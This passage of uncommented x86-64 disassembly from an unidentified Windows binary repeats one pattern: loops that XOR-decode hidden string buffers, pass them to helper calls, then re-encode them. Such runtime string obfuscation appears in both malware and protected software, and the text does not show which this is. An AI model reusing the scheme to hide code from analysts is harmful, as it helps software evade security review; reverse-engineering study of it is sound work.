pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140007592
jmp 0x1400076e3
lea r9, [rbp + 0x2188]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x1400076b0
lea rdx, [rbp + 0x2188]
lea rcx, [rbp + 0x920]
call fcn.1400184f0
nop
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0x1460]
call fcn.1400020b0
nop
lea rcx, [rbp + 0x920]
call fcn.140018450
cmp byte [rbp + 0x21b7], 0
jne 0x1400078c3
cmp r15d, 2
jl 0x140007877
movdqa xmm5, xmmword [0x14001bb20]
mov edx, esi
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x218c]
mov r8d, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140007770
jmp 0x1400078c3
lea r9, [rbp + 0x2188]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140007890
cmp byte [rbp + 0x2218], 0
je 0x140007a63
mov r8d, esi
cmp r15d, 2
jl 0x140007a1f
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x21ec]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140007912
cmp r8d, 0x31
jge 0x140007a63
movsxd rax, r8d
lea r9, [rbp + 0x21e8]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140007a30
lea rdx, [rbp + 0x21e8]
lea rcx, [rbp + 0x900]
call fcn.1400184f0
nop
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0x14e0]
call fcn.1400020b0
nop
lea rcx, [rbp + 0x900]
call fcn.140018450
cmp byte [rbp + 0x2218], 0
jne 0x140007c43
mov r8d, esi
cmp r15d, 2
jl 0x140007bfd
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x21ec]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140007af0
cmp r8d, 0x31
jge 0x140007c43
movsxd rax, r8d
lea r9, [rbp + 0x21e8]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140007c10
cmp byte [rbp + 0x2063], 0
je 0x140007de3
mov r8d, esi
cmp r15d, 2
jl 0x140007d9f
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x203c]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140007c92
cmp r8d, 0x2c
jge 0x140007de3
movsxd rax, r8d
lea r9, [rbp + 0x2038]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140007db0
lea rdx, [rbp + 0x2038]
lea rcx, [rbp + 0x8e0]
call fcn.1400184f0
nop
lea rdx, [rbp + 0x8e0]
lea rcx, [rbp + 0x1520]
call fcn.1400020b0
nop
lea rcx, [rbp + 0x8e0]
call fcn.140018450
cmp byte [rbp + 0x2063], 0
jne 0x140007fc3
mov r8d, esi
cmp r15d, 2
jl 0x140007f7d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x203c]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140007e70
cmp r8d, 0x2c
jge 0x140007fc3
movsxd rax, r8d
lea r9, [rbp + 0x2038]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140007f90
cmp byte [rbp + 0x2125], 0
je 0x140008163
mov r8d, esi
cmp r15d, 2
jl 0x14000811f
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x20fc]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140008012
cmp r8d, 0x2e
jge 0x140008163
movsxd rax, r8d
lea r9, [rbp + 0x20f8]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x140008130
lea rdx, [rbp + 0x20f8]
lea rcx, [rbp + 0x8c0]
call fcn.1400184f0
nop
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0x15e0]
call fcn.1400020b0
nop
lea rcx, [rbp + 0x8c0]
call fcn.140018450
cmp byte [rbp + 0x2125], 0
jne 0x140008343
mov r8d, esi
cmp r15d, 2
jl 0x1400082fd
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x20fc]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400081f0
cmp r8d, 0x2e
jge 0x140008343
movsxd rax, r8d
lea r9, [rbp + 0x20f8]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x140008310
cmp byte [rbp + 0x1e2a], 0
je 0x1400084e3
mov r8d, esi
cmp r15d, 2
jl 0x14000849f
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1e0c]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140008392
cmp r8d, 0x23
jge 0x1400084e3
movsxd rax, r8d
lea r9, [rbp + 0x1e08]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x1400084b0
lea rdx, [rbp + 0x1e08]
lea rcx, [rbp + 0x880]
call fcn.1400184f0
nop
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0x1640]
call fcn.1400020b0
nop
lea rcx, [rbp + 0x880]
call fcn.140018450
cmp byte [rbp + 0x1e2a], 0
jne 0x1400086c3
mov r8d, esi
cmp r15d, 2
jl 0x14000867d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1e0c]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140008570
cmp r8d, 0x23
jge 0x1400086c3
movsxd rax, r8d
lea r9, [rbp + 0x1e08]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140008690
cmp byte [rbp + 0x1e52], 0
je 0x140008863
mov r8d, esi
cmp r15d, 2
jl 0x14000881f
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1e34]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140008712
cmp r8d, 0x23
jge 0x140008863
movsxd rax, r8d
lea r9, [rbp + 0x1e30]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140008830
lea rdx, [rbp + 0x1e30]
